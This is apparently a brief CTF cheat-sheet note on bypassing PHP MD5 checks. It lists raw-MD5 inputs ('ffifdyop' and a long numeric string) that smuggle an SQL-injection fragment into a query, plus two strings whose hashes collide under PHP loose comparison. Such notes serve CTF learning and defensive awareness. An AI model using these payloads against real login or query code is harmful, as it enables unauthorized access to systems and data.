2019-03-09 PHP MD5 function bypass fuzz CTF SQL injection Web php md5($a,true) bypass: fuzz1: 129581926211651571912466741651878684928 SQL Injection ↑ fuzz2: ffifdyop ↑ SQL Injection php md5(v1)==md5(v2) bypass: v1: 240610708 v2: QNKCDZO stackoverflow.com